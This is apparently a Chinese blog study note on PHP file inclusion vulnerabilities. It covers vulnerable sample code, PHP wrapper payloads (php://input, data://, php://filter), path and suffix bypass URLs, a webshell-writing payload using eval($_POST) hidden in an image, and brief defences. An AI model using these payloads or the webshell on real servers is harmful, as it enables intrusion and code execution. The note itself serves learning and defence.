文件包含漏洞学习笔记

什么是文件包含漏洞

  1. 什么是文件包含?
    为了更好地使用代码的 重用性 ,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。
  2. 文件包含分为本地文件包含和远程文件包含。
  3. 文件包含漏洞的成因是什么?
    在包含文件时,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值进行改变,而服务器端未对变量的值进行合理性校验或者检验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中。
<?php
	$file = $_GET['file'];
	include($file);
?>

文件包含函数

文件包含:
include;
include_once;
require;
require_once;
文件读取:
highlight_file,show_source,readfile,file_get_contents,fopen,file

include ,有返回值,如果改函数包含的文件路径有误,不影响下面代码的执行
require,无返回值, 如果改函数包含的文件路径有误,会中断下面代码的执行

文件包含漏洞的利用方式—伪协议

协议用法
file://?file=file://D:soft/phpStudy/www/phpcode.txt
php://filter?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input?file=php://input [POST DATA] <?php phpinfo();?>
zip://?file=zip:///D:soft/phpStudy/www/file.zip%23phpcode.txt
compress.bzip2://?file=compress.bzip2:///D:soft/phpStudy/www/file.bz2 [or] ?file=compress.bzip2://./file.bz2
compress.zlib://?file=compress.zlib://D:soft/phpStudy/www/file.gz [or] ?file=compress.zlib://./file.gz
data://?file=data://text/plain,<?php phpinfo();?> [or] ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= [or] file=data:text/plain,<?php phpinfo();?> [or] ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

说明:

  • php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤。
  • php://input 可以访问请求的原始数据的只读流,将post请求的数据当做php代码执行。
  • data:// 同样类似php://input ,可以让用户来控制输入流。

文件包含漏洞的利用方式—其他

  1. %00截断绕过
    示例:后台php代码
include("includes/".$_GET['page'].".php");

可以构造url

http://192.168.0.5/?page=../flag.php%00
  1. 点加斜杠绕过
    示例:后台php代码
if(substr($_GET['page'],-4,4) != '.php')   //取后缀名
	echo file_get_contents($_GET['page']);
else
	echo 'You are not allow to see source files!';

可以构造url

http://192.168.0.5/?page=../flag.php.
或
http://192.168.0.5/?page=../flag.php./
  1. 去掉后缀名绕过
    示例:后台php代码
$path = 'includes/class_'.addslashes($_GET['class']).'.php';
echo file_get_contents($path);

可以构造url

http://192.168.0.5/?class=../flag
  1. 双写绕过
    示例:后台php代码
$file = str_replace('../','',$_GET['file']);
if(isset($file))
	include("pages/$file");
else
	include("index.php");

可以构造url

http://192.168.0.5/?file=..././flag.php
  1. 文件包含写shell
    示例:后台php代码
include($_POST["page"]);

可以利用hackbar添加POST参数

page=../image.jpg

在image.jpg中写入
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST['a'])?>');?>
  1. 长度截断(Windows:256, Linux:4096)
  2. 包含日志文件
  3. 包含session

文件包含漏洞的防御

  • PHP中使用open_basedir 配置限制访问在指定的区域
  • 过滤 . / \
  • 禁止服务器远程文件包含
  • 尽量不要使用动态文件包含,可在需要包含的页面固定写好
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值